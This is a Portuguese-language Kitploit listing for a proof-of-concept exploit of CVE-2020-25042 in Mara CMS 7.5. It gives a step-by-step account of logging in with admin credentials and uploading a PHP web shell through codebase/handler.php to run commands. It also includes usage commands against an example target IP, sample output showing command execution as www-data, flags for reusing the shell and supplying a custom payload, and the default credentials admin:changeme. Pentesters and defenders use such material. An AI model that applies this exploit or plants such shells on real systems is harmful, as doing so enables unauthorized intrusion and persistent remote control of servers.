Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-25042-PoC — PoC para CVE-2020-25042: upload automatizado de PHP autenticado para RCE no Mara CMS 7.5, com manipulação de hash de login, reutilização de shell, suporte a payload personalizado e saída CLI limpa. | Kitploit
Ferramentas/GitHubGitHub/groppoxx/cve-2020-25042-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubgroppoxx/cve-2020-25042-poc

CVE-2020-25042-PoC

PoC para CVE-2020-25042: upload automatizado de PHP autenticado para RCE no Mara CMS 7.5, com manipulação de hash de login, reutilização de shell, suporte a payload personalizado e saída CLI limpa.

Ver Repositório
511há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-25042-PoC

Prova de conceito para CVE-2020-25042, um problema de upload arbitrário de arquivos autenticado no Mara CMS 7.5 que pode levar à execução remota de código.

O script faz login com uma conta válida de administrador/gerente do Mara CMS, faz upload de um payload PHP através de codebase/handler.php e executa comandos através do arquivo enviado.

Ele também reutiliza um shell existente quando possível, para que você não crie um novo arquivo PHP a cada execução.

O que ele faz

  1. Verifica se o shell esperado já existe e é reutilizável.
  2. Se reutilizável, executa o comando diretamente.
  3. Se não reutilizável, carrega uma página do CMS e extrai shash.
  4. Solicita o salt de login com a ação setsalt.
  5. Calcula os hashes de login do Mara CMS.
  6. Autentica como um usuário válido.
  7. Abre o fluxo de upload em codebase/dir.php?type=filenew.
  8. Faz upload de um payload de comando PHP através de codebase/handler.php.
  9. Executa --cmd através do shell enviado.

Requisitos

Python 3.8+

pip install -r requirements.txt

Pacotes Python necessários:

requests
urllib3

Início Rápido

Valores entre colchetes angulares são espaços reservados. Substitua-os pelos seus próprios valores e não inclua os caracteres < ou >.

python3 cve_2020_25042.py \
  --url <MARA_CMS_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --cmd whoami

Espaços reservados

<MARA_CMS_URL>  # Target Mara CMS base URL. Example: http://target/cms
<USERNAME>      # Valid Mara CMS admin/manager username.
<PASSWORD>      # Valid Mara CMS admin/manager password.

Exemplo Completo

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --cmd whoami

Exemplo de saída:

[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami

[+] Command output
MARA_CVE_2020_25042_OK
www-data

Reutilizando um Shell Existente

Por padrão, o script usa um nome de shell estável:

mara-poc.php

Na próxima execução, ele verifica:

http://target/cms/img/mara-poc.php

Se o shell responder com o marcador esperado, o script pula o login e o upload:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --cmd "ls -la"

Para reutilizar um shell criado com um nome aleatório anterior:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-name mara-poc-jxfizldy.php \
  --cmd whoami

Você também pode passar o caminho exposto do shell diretamente:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-url-path /cms/img/mara-poc-jxfizldy.php \
  --cmd "ls -la"

Apenas Upload

Envie o payload sem executar um comando:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --upload-only

Flags Opcionais

--page <PAGE>
   Página CMS existente usada para iniciar o login e extrair shash. Padrão: lorem.php

--shell-name <NAME>
   Nome do arquivo PHP para enviar ou reutilizar. Padrão: mara-poc.php

--shell-url-path <PATH_OR_URL>
   Caminho ou URL explícito do shell para reutilizar.
   Exemplo: /cms/img/mara-poc.php

--payload-file <FILE>
   Envie um payload PHP personalizado em vez do shell padrão ?cmd=.

--destdir <DIR>
   Valor raw destdir enviado no formulário de upload. O padrão faz o Mara CMS usar img/.

--force-upload
   Sempre faça login e upload, mesmo se um shell reutilizável já existir.

--upload-only
   Faça upload do payload, mas não execute --cmd.

--only-final
   Oculte logs de progresso e exiba apenas a saída do comando.

--no-color
   Desative as cores ANSI.

--debug
   Exiba URLs de requisição e trechos curtos de resposta do handler.

Notas

  • O exploit requer uma sessão autenticada válida de administrador ou gerente do Mara CMS.
  • As credenciais padrão do Mara CMS podem ser admin:changeme em instalações de teste não modificadas.
  • O payload padrão imprime MARA_CVE_2020_25042_OK antes da saída do comando.
  • O local de upload padrão observado no Mara CMS 7.5 é img/.
  • Utilize a reutilização de shell sempre que possível para evitar deixar muitos arquivos PHP no alvo.
  • Use --force-upload apenas quando precisar sobrescrever ou recriar o payload.

Legal

Esta PoC é destinada a testes de segurança autorizados, ambientes de laboratório e verificação de vulnerabilidades. Não a utilize contra sistemas sem permissão explícita.

Baixar ferramenta